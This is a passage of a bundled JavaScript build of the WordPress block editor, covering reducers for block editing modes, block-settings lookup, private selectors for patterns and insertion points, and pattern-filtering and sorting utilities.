9928 case "UPDATE_BLOCK_ATTRIBUTES": {
9929 const addedBlocks = [];
9930 const removedClientIds = [];
9931 for (const clientId of action?.clientIds) {
9932 const attributes = action.options?.uniqueByBlock ? action.attributes[clientId] : action.attributes;
9933 if (!attributes) {
9934 break;
9935 }
9936 if (
9937 // patternName is switching from falsy to truthy, indicating
9938 // this block is becoming an unsynced pattern.
9939 attributes.metadata?.patternName && !state.blocks.attributes.get(clientId)?.metadata?.patternName
9940 ) {
9941 addedBlocks.push(
9942 nextState.blocks.tree.get(clientId)
9943 );
9944 } else if (
9945 // patternName is switching from truthy to falsy, this block is becoming
9946 // a regular block but was an unsynced pattern.
9947 // Check that `metadata` is part of the included attributes, as
9948 // `updateBlockAttributes` merges attributes, if it isn't present
9949 // the previous `metadata` would be retained.
9950 attributes.metadata && !attributes.metadata?.patternName && state.blocks.attributes.get(clientId)?.metadata?.patternName
9951 ) {
9952 removedClientIds.push(clientId);
9953 }
9954 }
9955 if (!addedBlocks?.length && !removedClientIds?.length) {
9956 break;
9957 }
9958 const nextDerivedBlockEditingModes = getDerivedBlockEditingModesUpdates({
9959 prevState: state,
9960 nextState,
9961 addedBlocks,
9962 removedClientIds
9963 });
9964 if (nextDerivedBlockEditingModes) {
9965 return {
9966 ...nextState,
9967 derivedBlockEditingModes: nextDerivedBlockEditingModes ?? state.derivedBlockEditingModes
9968 };
9969 }
9970 break;
9971 }
9972 case "UPDATE_BLOCK_LIST_SETTINGS": {
9973 const addedBlocks = [];
9974 const removedClientIds = [];
9975 const updates = typeof action.clientId === "string" ? { [action.clientId]: action.settings } : action.clientId;
9976 for (const clientId in updates) {
9977 const isNewContentOnlyBlock = state.blockListSettings[clientId]?.templateLock !== "contentOnly" && nextState.blockListSettings[clientId]?.templateLock === "contentOnly";
9978 const wasContentOnlyBlock = state.blockListSettings[clientId]?.templateLock === "contentOnly" && nextState.blockListSettings[clientId]?.templateLock !== "contentOnly";
9979 if (isNewContentOnlyBlock) {
9980 addedBlocks.push(
9981 nextState.blocks.tree.get(clientId)
9982 );
9983 } else if (wasContentOnlyBlock) {
9984 removedClientIds.push(clientId);
9985 }
9986 }
9987 if (!addedBlocks.length && !removedClientIds.length) {
9988 break;
9989 }
9990 const nextDerivedBlockEditingModes = getDerivedBlockEditingModesUpdates({
9991 prevState: state,
9992 nextState,
9993 addedBlocks,
9994 removedClientIds
9995 });
9996 if (nextDerivedBlockEditingModes) {
9997 return {
9998 ...nextState,
9999 derivedBlockEditingModes: nextDerivedBlockEditingModes ?? state.derivedBlockEditingModes
10000 };
10001 }
10002 break;
10003 }
10004 case "SET_BLOCK_EDITING_MODE":
10005 case "UNSET_BLOCK_EDITING_MODE":
10006 case "SET_HAS_CONTROLLED_INNER_BLOCKS": {
10007 const updatedBlock = getBlockTreeBlock(
10008 nextState,
10009 action.clientId
10010 );
10011 if (!updatedBlock) {
10012 break;
10013 }
10014 const nextDerivedBlockEditingModes = getDerivedBlockEditingModesUpdates({
10015 prevState: state,
10016 nextState,
10017 removedClientIds: [action.clientId],
10018 addedBlocks: [updatedBlock]
10019 });
10020 if (nextDerivedBlockEditingModes) {
10021 return {
10022 ...nextState,
10023 derivedBlockEditingModes: nextDerivedBlockEditingModes ?? state.derivedBlockEditingModes
10024 };
10025 }
10026 break;
10027 }
10028 case "REPLACE_BLOCKS": {
10029 const nextDerivedBlockEditingModes = getDerivedBlockEditingModesUpdates({
10030 prevState: state,
10031 nextState,
10032 addedBlocks: action.blocks,
10033 removedClientIds: action.clientIds
10034 });
10035 if (nextDerivedBlockEditingModes) {
10036 return {
10037 ...nextState,
10038 derivedBlockEditingModes: nextDerivedBlockEditingModes ?? state.derivedBlockEditingModes
10039 };
10040 }
10041 break;
10042 }
10043 case "REPLACE_INNER_BLOCKS": {
10044 const removedClientIds = state.blocks.order.get(
10045 action.rootClientId
10046 );
10047 const nextDerivedBlockEditingModes = getDerivedBlockEditingModesUpdates({
10048 prevState: state,
10049 nextState,
10050 addedBlocks: action.blocks,
10051 removedClientIds
10052 });
10053 if (nextDerivedBlockEditingModes) {
10054 return {
10055 ...nextState,
10056 derivedBlockEditingModes: nextDerivedBlockEditingModes ?? state.derivedBlockEditingModes
10057 };
10058 }
10059 break;
10060 }
10061 case "MOVE_BLOCKS_TO_POSITION": {
10062 const addedBlocks = action.clientIds.map((clientId) => {
10063 return nextState.blocks.byClientId.get(clientId);
10064 });
10065 const nextDerivedBlockEditingModes = getDerivedBlockEditingModesUpdates({
10066 prevState: state,
10067 nextState,
10068 addedBlocks,
10069 removedClientIds: action.clientIds
10070 });
10071 if (nextDerivedBlockEditingModes) {
10072 return {
10073 ...nextState,
10074 derivedBlockEditingModes: nextDerivedBlockEditingModes ?? state.derivedBlockEditingModes
10075 };
10076 }
10077 break;
10078 }
10079 case "UPDATE_SETTINGS": {
10080 if (state?.settings?.[sectionRootClientIdKey] !== nextState?.settings?.[sectionRootClientIdKey]) {
10081 return {
10082 ...nextState,
10083 derivedBlockEditingModes: getDerivedBlockEditingModesForTree(nextState)
10084 };
10085 }
10086 break;
10087 }
10088 case "RESET_BLOCKS":
10089 case "SET_EDITOR_MODE":
10090 case "RESET_ZOOM_LEVEL":
10091 case "SET_ZOOM_LEVEL": {
10092 return {
10093 ...nextState,
10094 derivedBlockEditingModes: getDerivedBlockEditingModesForTree(nextState)
10095 };
10096 }
10097 }
10098 nextState.derivedBlockEditingModes = state?.derivedBlockEditingModes ?? /* @__PURE__ */ new Map();
10099 return nextState;
10100 };
10101}
10102function withAutomaticChangeReset(reducer) {
10103 return (state, action) => {
10104 const nextState = reducer(state, action);
10105 if (!state) {
10106 return nextState;
10107 }
10108 nextState.automaticChangeStatus = state.automaticChangeStatus;
10109 if (action.type === "MARK_AUTOMATIC_CHANGE") {
10110 return {
10111 ...nextState,
10112 automaticChangeStatus: "pending"
10113 };
10114 }
10115 if (action.type === "MARK_AUTOMATIC_CHANGE_FINAL" && state.automaticChangeStatus === "pending") {
10116 return {
10117 ...nextState,
10118 automaticChangeStatus: "final"
10119 };
10120 }
10121 if (nextState.blocks === state.blocks && nextState.selection === state.selection) {
10122 return nextState;
10123 }
10124 if (nextState.automaticChangeStatus !== "final" && nextState.selection !== state.selection) {
10125 return nextState;
10126 }
10127 return {
10128 ...nextState,
10129 automaticChangeStatus: void 0
10130 };
10131 };
10132}
10133var reducer_default = (0,external_wp_compose_namespaceObject.pipe)(
10134 withDerivedBlockEditingModes,
10135 withAutomaticChangeReset
10136)(combinedReducers);
10137
10138
10139;// external ["wp","primitives"]
10140const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
10141;// ./node_modules/@wordpress/icons/build-module/library/symbol.js
10142
10143
10144var symbol_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) });
10145
10146
10147;// external ["wp","richText"]
10148const external_wp_richText_namespaceObject = window["wp"]["richText"];
10149;// external ["wp","blockSerializationDefaultParser"]
10150const external_wp_blockSerializationDefaultParser_namespaceObject = window["wp"]["blockSerializationDefaultParser"];
10151;// ./node_modules/@wordpress/block-editor/build-module/store/constants.js
10152const STORE_NAME = "core/block-editor";
10153
10154
10155;// ./node_modules/@wordpress/block-editor/build-module/utils/object.js
10156function setImmutably(object, path, value) {
10157 path = Array.isArray(path) ? [...path] : [path];
10158 object = Array.isArray(object) ? [...object] : { ...object };
10159 const leaf = path.pop();
10160 let prev = object;
10161 for (const key of path) {
10162 const lvl = prev[key];
10163 prev = prev[key] = Array.isArray(lvl) ? [...lvl] : { ...lvl };
10164 }
10165 prev[leaf] = value;
10166 return object;
10167}
10168const getValueFromObjectPath = (object, path, defaultValue) => {
10169 const arrayPath = Array.isArray(path) ? path : path.split(".");
10170 let value = object;
10171 arrayPath.forEach((fieldName) => {
10172 value = value?.[fieldName];
10173 });
10174 return value ?? defaultValue;
10175};
10176function uniqByProperty(array, property) {
10177 const seen = /* @__PURE__ */ new Set();
10178 return array.filter((item) => {
10179 const value = item[property];
10180 return seen.has(value) ? false : seen.add(value);
10181 });
10182}
10183
10184
10185;// ./node_modules/@wordpress/block-editor/build-module/store/get-block-settings.js
10186
10187
10188
10189
10190const blockedPaths = [
10191 "color",
10192 "border",
10193 "dimensions",
10194 "typography",
10195 "spacing"
10196];
10197const deprecatedFlags = {
10198 "color.palette": (settings) => settings.colors,
10199 "color.gradients": (settings) => settings.gradients,
10200 "color.custom": (settings) => settings.disableCustomColors === void 0 ? void 0 : !settings.disableCustomColors,
10201 "color.customGradient": (settings) => settings.disableCustomGradients === void 0 ? void 0 : !settings.disableCustomGradients,
10202 "typography.fontSizes": (settings) => settings.fontSizes,
10203 "typography.customFontSize": (settings) => settings.disableCustomFontSizes === void 0 ? void 0 : !settings.disableCustomFontSizes,
10204 "typography.lineHeight": (settings) => settings.enableCustomLineHeight,
10205 "spacing.units": (settings) => {
10206 if (settings.enableCustomUnits === void 0) {
10207 return;
10208 }
10209 if (settings.enableCustomUnits === true) {
10210 return ["px", "em", "rem", "vh", "vw", "%"];
10211 }
10212 return settings.enableCustomUnits;
10213 },
10214 "spacing.padding": (settings) => settings.enableCustomSpacing
10215};
10216const prefixedFlags = {
10217 /*
10218 * These were only available in the plugin
10219 * and can be removed when the minimum WordPress version
10220 * for the plugin is 5.9.
10221 */
10222 "border.customColor": "border.color",
10223 "border.customStyle": "border.style",
10224 "border.customWidth": "border.width",
10225 "typography.customFontStyle": "typography.fontStyle",
10226 "typography.customFontWeight": "typography.fontWeight",
10227 "typography.customLetterSpacing": "typography.letterSpacing",
10228 "typography.customTextDecorations": "typography.textDecoration",
10229 "typography.customTextTransforms": "typography.textTransform",
10230 /*
10231 * These were part of WordPress 5.8 and we need to keep them.
10232 */
10233 "border.customRadius": "border.radius",
10234 "spacing.customMargin": "spacing.margin",
10235 "spacing.customPadding": "spacing.padding",
10236 "typography.customLineHeight": "typography.lineHeight"
10237};
10238const removeCustomPrefixes = (path) => {
10239 return prefixedFlags[path] || path;
10240};
10241function getBlockSettings(state, clientId, ...paths) {
10242 const blockName = getBlockName(state, clientId);
10243 const candidates = [];
10244 if (clientId) {
10245 let id = clientId;
10246 do {
10247 const name = getBlockName(state, id);
10248 if ((0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, "__experimentalSettings", false)) {
10249 candidates.push(id);
10250 }
10251 } while (id = state.blocks.parents.get(id));
10252 }
10253 return paths.map((path) => {
10254 if (blockedPaths.includes(path)) {
10255 console.warn(
10256 "Top level useSetting paths are disabled. Please use a subpath to query the information needed."
10257 );
10258 return void 0;
10259 }
10260 let result = (0,external_wp_hooks_namespaceObject.applyFilters)(
10261 "blockEditor.useSetting.before",
10262 void 0,
10263 path,
10264 clientId,
10265 blockName
10266 );
10267 if (void 0 !== result) {
10268 return result;
10269 }
10270 const normalizedPath = removeCustomPrefixes(path);
10271 for (const candidateClientId of candidates) {
10272 const candidateAtts = getBlockAttributes(
10273 state,
10274 candidateClientId
10275 );
10276 result = getValueFromObjectPath(
10277 candidateAtts.settings?.blocks?.[blockName],
10278 normalizedPath
10279 ) ?? getValueFromObjectPath(
10280 candidateAtts.settings,
10281 normalizedPath
10282 );
10283 if (result !== void 0) {
10284 break;
10285 }
10286 }
10287 const settings = getSettings(state);
10288 if (result === void 0 && blockName) {
10289 result = getValueFromObjectPath(
10290 settings.__experimentalFeatures?.blocks?.[blockName],
10291 normalizedPath
10292 );
10293 }
10294 if (result === void 0) {
10295 result = getValueFromObjectPath(
10296 settings.__experimentalFeatures,
10297 normalizedPath
10298 );
10299 }
10300 if (result !== void 0) {
10301 if (external_wp_blocks_namespaceObject.__EXPERIMENTAL_PATHS_WITH_OVERRIDE[normalizedPath]) {
10302 return result.custom ?? result.theme ?? result.default;
10303 }
10304 return result;
10305 }
10306 const deprecatedSettingsValue = deprecatedFlags[normalizedPath]?.(settings);
10307 if (deprecatedSettingsValue !== void 0) {
10308 return deprecatedSettingsValue;
10309 }
10310 return normalizedPath === "typography.dropCap" ? true : void 0;
10311 });
10312}
10313
10314
10315;// ./node_modules/@wordpress/block-editor/build-module/store/private-selectors.js
10316
10317
10318
10319
10320
10321
10322
10323const { isContentBlock: private_selectors_isContentBlock } = unlock(external_wp_blocks_namespaceObject.privateApis);
10324
10325function private_selectors_isBlockInterfaceHidden(state) {
10326 return state.isBlockInterfaceHidden;
10327}
10328function getLastInsertedBlocksClientIds(state) {
10329 return state?.lastBlockInserted?.clientIds;
10330}
10331function getBlockWithoutAttributes(state, clientId) {
10332 return state.blocks.byClientId.get(clientId);
10333}
10334const isBlockSubtreeDisabled = (state, clientId) => {
10335 const isChildSubtreeDisabled = (childClientId) => {
10336 return getBlockEditingMode(state, childClientId) === "disabled" && getBlockOrder(state, childClientId).every(
10337 isChildSubtreeDisabled
10338 );
10339 };
10340 return getBlockOrder(state, clientId).every(isChildSubtreeDisabled);
10341};
10342function isContainerInsertableToInContentOnlyMode(state, blockName, rootClientId) {
10343 const isBlockContentBlock = private_selectors_isContentBlock(blockName);
10344 const rootBlockName = getBlockName(state, rootClientId);
10345 const isContainerContentBlock = private_selectors_isContentBlock(rootBlockName);
10346 const isRootBlockMain = getSectionRootClientId(state) === rootClientId;
10347 return isRootBlockMain || isContainerContentBlock && isBlockContentBlock;
10348}
10349function getEnabledClientIdsTreeUnmemoized(state, rootClientId) {
10350 const blockOrder = getBlockOrder(state, rootClientId);
10351 const result = [];
10352 for (const clientId of blockOrder) {
10353 const innerBlocks = getEnabledClientIdsTreeUnmemoized(
10354 state,
10355 clientId
10356 );
10357 if (getBlockEditingMode(state, clientId) !== "disabled") {
10358 result.push({ clientId, innerBlocks });
10359 } else {
10360 result.push(...innerBlocks);
10361 }
10362 }
10363 return result;
10364}
10365const getEnabledClientIdsTree = (0,external_wp_data_namespaceObject.createRegistrySelector)(
10366 () => (0,external_wp_data_namespaceObject.createSelector)(getEnabledClientIdsTreeUnmemoized, (state) => [
10367 state.blocks.order,
10368 state.derivedBlockEditingModes,
10369 state.blockEditingModes
10370 ])
10371);
10372const getEnabledBlockParents = (0,external_wp_data_namespaceObject.createSelector)(
10373 (state, clientId, ascending = false) => {
10374 return getBlockParents(state, clientId, ascending).filter(
10375 (parent) => getBlockEditingMode(state, parent) !== "disabled"
10376 );
10377 },
10378 (state) => [
10379 state.blocks.parents,
10380 state.blockEditingModes,
10381 state.settings.templateLock,
10382 state.blockListSettings
10383 ]
10384);
10385function getRemovalPromptData(state) {
10386 return state.removalPromptData;
10387}
10388function getBlockRemovalRules(state) {
10389 return state.blockRemovalRules;
10390}
10391function getOpenedBlockSettingsMenu(state) {
10392 return state.openedBlockSettingsMenu;
10393}
10394const getStyleOverrides = (0,external_wp_data_namespaceObject.createSelector)(
10395 (state) => {
10396 const clientIds = getClientIdsWithDescendants(state);
10397 const clientIdMap = clientIds.reduce((acc, clientId, index) => {
10398 acc[clientId] = index;
10399 return acc;
10400 }, {});
10401 return [...state.styleOverrides].sort((overrideA, overrideB) => {
10402 const [, { clientId: clientIdA }] = overrideA;
10403 const [, { clientId: clientIdB }] = overrideB;
10404 const aIndex = clientIdMap[clientIdA] ?? -1;
10405 const bIndex = clientIdMap[clientIdB] ?? -1;
10406 return aIndex - bIndex;
10407 });
10408 },
10409 (state) => [state.blocks.order, state.styleOverrides]
10410);
10411function getRegisteredInserterMediaCategories(state) {
10412 return state.registeredInserterMediaCategories;
10413}
10414const getInserterMediaCategories = (0,external_wp_data_namespaceObject.createSelector)(
10415 (state) => {
10416 const {
10417 settings: {
10418 inserterMediaCategories,
10419 allowedMimeTypes,
10420 enableOpenverseMediaCategory
10421 },
10422 registeredInserterMediaCategories
10423 } = state;
10424 if (!inserterMediaCategories && !registeredInserterMediaCategories.length || !allowedMimeTypes) {
10425 return;
10426 }
10427 const coreInserterMediaCategoriesNames = inserterMediaCategories?.map(({ name }) => name) || [];
10428 const mergedCategories = [
10429 ...inserterMediaCategories || [],
10430 ...(registeredInserterMediaCategories || []).filter(
10431 ({ name }) => !coreInserterMediaCategoriesNames.includes(name)
10432 )
10433 ];
10434 return mergedCategories.filter((category) => {
10435 if (!enableOpenverseMediaCategory && category.name === "openverse") {
10436 return false;
10437 }
10438 return Object.values(allowedMimeTypes).some(
10439 (mimeType) => mimeType.startsWith(`${category.mediaType}/`)
10440 );
10441 });
10442 },
10443 (state) => [
10444 state.settings.inserterMediaCategories,
10445 state.settings.allowedMimeTypes,
10446 state.settings.enableOpenverseMediaCategory,
10447 state.registeredInserterMediaCategories
10448 ]
10449);
10450const hasAllowedPatterns = (0,external_wp_data_namespaceObject.createRegistrySelector)(
10451 (select) => (0,external_wp_data_namespaceObject.createSelector)(
10452 (state, rootClientId = null) => {
10453 const { getAllPatterns: getAllPatterns2 } = unlock(select(STORE_NAME));
10454 const patterns = getAllPatterns2();
10455 const { allowedBlockTypes } = getSettings(state);
10456 return patterns.some((pattern) => {
10457 const { inserter = true } = pattern;
10458 if (!inserter) {
10459 return false;
10460 }
10461 const grammar = getGrammar(pattern);
10462 return checkAllowListRecursive(grammar, allowedBlockTypes) && grammar.every(
10463 ({ name: blockName }) => canInsertBlockType(state, blockName, rootClientId)
10464 );
10465 });
10466 },
10467 (state, rootClientId) => [
10468 ...getAllPatternsDependants(select)(state),
10469 ...getInsertBlockTypeDependants(select)(state, rootClientId)
10470 ]
10471 )
10472);
10473const getPatternBySlug = (0,external_wp_data_namespaceObject.createRegistrySelector)(
10474 (select) => (0,external_wp_data_namespaceObject.createSelector)(
10475 (state, patternName) => {
10476 if (patternName?.startsWith("core/block/")) {
10477 const _id = parseInt(
10478 patternName.slice("core/block/".length),
10479 10
10480 );
10481 const block = unlock(select(STORE_NAME)).getReusableBlocks().find(({ id }) => id === _id);
10482 if (!block) {
10483 return null;
10484 }
10485 return mapUserPattern(
10486 block,
10487 state.settings.__experimentalUserPatternCategories
10488 );
10489 }
10490 return [
10491 // This setting is left for back compat.
10492 ...state.settings.__experimentalBlockPatterns ?? [],
10493 ...state.settings[selectBlockPatternsKey]?.(select) ?? []
10494 ].find(({ name }) => name === patternName);
10495 },
10496 (state, patternName) => patternName?.startsWith("core/block/") ? [
10497 unlock(select(STORE_NAME)).getReusableBlocks(),
10498 state.settings.__experimentalReusableBlocks
10499 ] : [
10500 state.settings.__experimentalBlockPatterns,
10501 state.settings[selectBlockPatternsKey]?.(select)
10502 ]
10503 )
10504);
10505const getAllPatterns = (0,external_wp_data_namespaceObject.createRegistrySelector)(
10506 (select) => (0,external_wp_data_namespaceObject.createSelector)((state) => {
10507 return [
10508 ...unlock(select(STORE_NAME)).getReusableBlocks().map(
10509 (userPattern) => mapUserPattern(
10510 userPattern,
10511 state.settings.__experimentalUserPatternCategories
10512 )
10513 ),
10514 // This setting is left for back compat.
10515 ...state.settings.__experimentalBlockPatterns ?? [],
10516 ...state.settings[selectBlockPatternsKey]?.(select) ?? []
10517 ].filter(
10518 (x, index, arr) => index === arr.findIndex((y) => x.name === y.name)
10519 );
10520 }, getAllPatternsDependants(select))
10521);
10522const EMPTY_ARRAY = [];
10523const getReusableBlocks = (0,external_wp_data_namespaceObject.createRegistrySelector)(
10524 (select) => (state) => {
10525 const reusableBlocksSelect = state.settings[reusableBlocksSelectKey];
10526 return (reusableBlocksSelect ? reusableBlocksSelect(select) : state.settings.__experimentalReusableBlocks) ?? EMPTY_ARRAY;
10527 }
10528);
10529function getLastFocus(state) {
10530 return state.lastFocus;
10531}
10532function private_selectors_isDragging(state) {
10533 return state.isDragging;
10534}
10535function getExpandedBlock(state) {
10536 return state.expandedBlock;
10537}
10538const getContentLockingParent = (state, clientId) => {
10539 let current = clientId;
10540 let result;
10541 while (!result && (current = state.blocks.parents.get(current))) {
10542 if (getTemplateLock(state, current) === "contentOnly") {
10543 result = current;
10544 }
10545 }
10546 return result;
10547};
10548const getParentSectionBlock = (state, clientId) => {
10549 let current = clientId;
10550 let result;
10551 while (!result && (current = state.blocks.parents.get(current))) {
10552 if (isSectionBlock(state, current)) {
10553 result = current;
10554 }
10555 }
10556 return result;
10557};
10558function isSectionBlock(state, clientId) {
10559 const blockName = getBlockName(state, clientId);
10560 if (blockName === "core/block" || getTemplateLock(state, clientId) === "contentOnly") {
10561 return true;
10562 }
10563 const attributes = getBlockAttributes(state, clientId);
10564 const isTemplatePart = blockName === "core/template-part";
10565 if ((attributes?.metadata?.patternName || isTemplatePart) && !!window?.__experimentalContentOnlyPatternInsertion) {
10566 return true;
10567 }
10568 return false;
10569}
10570function getTemporarilyEditingAsBlocks(state) {
10571 return state.temporarilyEditingAsBlocks;
10572}
10573function getTemporarilyEditingFocusModeToRevert(state) {
10574 return state.temporarilyEditingFocusModeRevert;
10575}
10576const getBlockStyles = (0,external_wp_data_namespaceObject.createSelector)(
10577 (state, clientIds) => clientIds.reduce((styles, clientId) => {
10578 styles[clientId] = state.blocks.attributes.get(clientId)?.style;
10579 return styles;
10580 }, {}),
10581 (state, clientIds) => [
10582 ...clientIds.map(
10583 (clientId) => state.blocks.attributes.get(clientId)?.style
10584 )
10585 ]
10586);
10587function getSectionRootClientId(state) {
10588 return state.settings?.[sectionRootClientIdKey];
10589}
10590function isZoomOut(state) {
10591 return state.zoomLevel === "auto-scaled" || state.zoomLevel < 100;
10592}
10593function getZoomLevel(state) {
10594 return state.zoomLevel;
10595}
10596function getClosestAllowedInsertionPoint(state, name, clientId = "") {
10597 const blockNames = Array.isArray(name) ? name : [name];
10598 const areBlockNamesAllowedInClientId = (id) => blockNames.every(
10599 (currentName) => canInsertBlockType(state, currentName, id)
10600 );
10601 if (!clientId) {
10602 if (areBlockNamesAllowedInClientId(clientId)) {
10603 return clientId;
10604 }
10605 const sectionRootClientId = getSectionRootClientId(state);
10606 if (sectionRootClientId && areBlockNamesAllowedInClientId(sectionRootClientId)) {
10607 return sectionRootClientId;
10608 }
10609 return null;
10610 }
10611 let current = clientId;
10612 while (current !== null && !areBlockNamesAllowedInClientId(current)) {
10613 const parentClientId = getBlockRootClientId(state, current);
10614 current = parentClientId;
10615 }
10616 return current;
10617}
10618function getClosestAllowedInsertionPointForPattern(state, pattern, clientId) {
10619 const { allowedBlockTypes } = getSettings(state);
10620 const isAllowed = checkAllowListRecursive(
10621 getGrammar(pattern),
10622 allowedBlockTypes
10623 );
10624 if (!isAllowed) {
10625 return null;
10626 }
10627 const names = getGrammar(pattern).map(({ blockName: name }) => name);
10628 return getClosestAllowedInsertionPoint(state, names, clientId);
10629}
10630function getInsertionPoint(state) {
10631 return state.insertionPoint;
10632}
10633const isBlockHidden = (state, clientId) => {
10634 const blockName = getBlockName(state, clientId);
10635 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(state, blockName, "visibility", true)) {
10636 return false;
10637 }
10638 const attributes = state.blocks.attributes.get(clientId);
10639 return attributes?.metadata?.blockVisibility === false;
10640};
10641function private_selectors_hasBlockSpotlight(state) {
10642 return !!state.hasBlockSpotlight;
10643}
10644
10645
10646;// ./node_modules/@wordpress/block-editor/build-module/components/inserter/block-patterns-tab/utils.js
10647
10648const INSERTER_PATTERN_TYPES = {
10649 user: "user",
10650 theme: "theme",
10651 directory: "directory"
10652};
10653const INSERTER_SYNC_TYPES = {
10654 full: "fully",
10655 unsynced: "unsynced"
10656};
10657const allPatternsCategory = {
10658 name: "allPatterns",
10659 label: (0,external_wp_i18n_namespaceObject._x)("All", "patterns")
10660};
10661const myPatternsCategory = {
10662 name: "myPatterns",
10663 label: (0,external_wp_i18n_namespaceObject.__)("My patterns")
10664};
10665const starterPatternsCategory = {
10666 name: "core/starter-content",
10667 label: (0,external_wp_i18n_namespaceObject.__)("Starter content")
10668};
10669function isPatternFiltered(pattern, sourceFilter, syncFilter) {
10670 const isUserPattern = pattern.name.startsWith("core/block");
10671 const isDirectoryPattern = pattern.source === "core" || pattern.source?.startsWith("pattern-directory");
10672 if (sourceFilter === INSERTER_PATTERN_TYPES.theme && (isUserPattern || isDirectoryPattern)) {
10673 return true;
10674 }
10675 if (sourceFilter === INSERTER_PATTERN_TYPES.directory && (isUserPattern || !isDirectoryPattern)) {
10676 return true;
10677 }
10678 if (sourceFilter === INSERTER_PATTERN_TYPES.user && pattern.type !== INSERTER_PATTERN_TYPES.user) {
10679 return true;
10680 }
10681 if (syncFilter === INSERTER_SYNC_TYPES.full && pattern.syncStatus !== "") {
10682 return true;
10683 }
10684 if (syncFilter === INSERTER_SYNC_TYPES.unsynced && pattern.syncStatus !== "unsynced" && isUserPattern) {
10685 return true;
10686 }
10687 return false;
10688}
10689
10690
10691;// ./node_modules/@wordpress/block-editor/build-module/store/utils.js
10692
10693
10694
10695
10696
10697
10698
10699
10700const isFiltered = Symbol("isFiltered");
10701const parsedPatternCache = /* @__PURE__ */ new WeakMap();
10702const grammarMapCache = /* @__PURE__ */ new WeakMap();
10703function mapUserPattern(userPattern, __experimentalUserPatternCategories = []) {
10704 return {
10705 name: `core/block/${userPattern.id}`,
10706 id: userPattern.id,
10707 type: INSERTER_PATTERN_TYPES.user,
10708 title: userPattern.title?.raw,
10709 categories: userPattern.wp_pattern_category?.map((catId) => {
10710 const category = __experimentalUserPatternCategories.find(
10711 ({ id }) => id === catId
10712 );
10713 return category ? category.slug : catId;
10714 }),
10715 content: userPattern.content?.raw,
10716 syncStatus: userPattern.wp_pattern_sync_status
10717 };
10718}
10719function parsePattern(pattern) {
10720 const blocks = (0,external_wp_blocks_namespaceObject.parse)(pattern.content, {
10721 __unstableSkipMigrationLogs: true
10722 });
10723 if (blocks.length === 1) {
10724 blocks[0].attributes = {
10725 ...blocks[0].attributes,
10726 metadata: {
10727 ...blocks[0].attributes.metadata || {},
10728 categories: pattern.categories,
10729 patternName: pattern.name,
10730 name: blocks[0].attributes.metadata?.name || pattern.title
10731 }
10732 };
10733 }
10734 return {
10735 ...pattern,
10736 blocks
10737 };
10738}
10739function getParsedPattern(pattern) {
10740 let parsedPattern = parsedPatternCache.get(pattern);
10741 if (!parsedPattern) {
10742 parsedPattern = parsePattern(pattern);
10743 parsedPatternCache.set(pattern, parsedPattern);
10744 }
10745 return parsedPattern;
10746}
10747function getGrammar(pattern) {
10748 let grammarMap = grammarMapCache.get(pattern);
10749 if (!grammarMap) {
10750 grammarMap = (0,external_wp_blockSerializationDefaultParser_namespaceObject.parse)(pattern.content);
10751 grammarMap = grammarMap.filter((block) => block.blockName !== null);
10752 grammarMapCache.set(pattern, grammarMap);
10753 }
10754 return grammarMap;
10755}
10756const checkAllowList = (list, item, defaultResult = null) => {
10757 if (typeof list === "boolean") {
10758 return list;
10759 }
10760 if (Array.isArray(list)) {
10761 if (list.includes("core/post-content") && item === null) {
10762 return true;
10763 }
10764 return list.includes(item);
10765 }
10766 return defaultResult;
10767};
10768const checkAllowListRecursive = (blocks, allowedBlockTypes) => {
10769 if (typeof allowedBlockTypes === "boolean") {
10770 return allowedBlockTypes;
10771 }
10772 const blocksQueue = [...blocks];
10773 while (blocksQueue.length > 0) {
10774 const block = blocksQueue.shift();
10775 const isAllowed = checkAllowList(
10776 allowedBlockTypes,
10777 block.name || block.blockName,
10778 true
10779 );
10780 if (!isAllowed) {
10781 return false;
10782 }
10783 block.innerBlocks?.forEach((innerBlock) => {
10784 blocksQueue.push(innerBlock);
10785 });
10786 }
10787 return true;
10788};
10789const getAllPatternsDependants = (select) => (state) => {
10790 return [
10791 state.settings.__experimentalBlockPatterns,
10792 state.settings.__experimentalUserPatternCategories,
10793 state.settings.__experimentalReusableBlocks,
10794 state.settings[selectBlockPatternsKey]?.(select),
10795 state.blockPatterns,
10796 unlock(select(STORE_NAME)).getReusableBlocks()
10797 ];
10798};
10799const getInsertBlockTypeDependants = () => (state, rootClientId) => {
10800 return [
10801 state.blockListSettings[rootClientId],
10802 state.blocks.byClientId.get(rootClientId),
10803 state.settings.allowedBlockTypes,
10804 state.settings.templateLock,
10805 getBlockEditingMode(state, rootClientId),
10806 getSectionRootClientId(state),
10807 isSectionBlock(state, rootClientId)
10808 ];
10809};
10810
10811
10812;// ./node_modules/@wordpress/block-editor/build-module/utils/sorting.js
10813const comparator = (field, items, order) => {
10814 return (a, b) => {
10815 let cmpA, cmpB;
10816 if (typeof field === "function") {
10817 cmpA = field(a);
10818 cmpB = field(b);
10819 } else {
10820 cmpA = a[field];
10821 cmpB = b[field];
10822 }
10823 if (cmpA > cmpB) {
10824 return order === "asc" ? 1 : -1;
10825 } else if (cmpB > cmpA) {
10826 return order === "asc" ? -1 : 1;
10827 }
10828 const orderA = items.findIndex((item) => item === a);
10829 const orderB = items.findIndex((item) => item === b);
10830 if (orderA > orderB) {
10831 return 1;
10832 } else if (orderB > orderA) {
10833 return -1;
10834 }
10835 return 0;
10836 };
10837};
10838function orderBy(items, field, order = "asc") {
10839 return items.concat().sort(comparator(field, items, order));
10840}
10841
10842
10843;// ./node_modules/@wordpress/block-editor/build-module/store/selectors.js
10844
10845
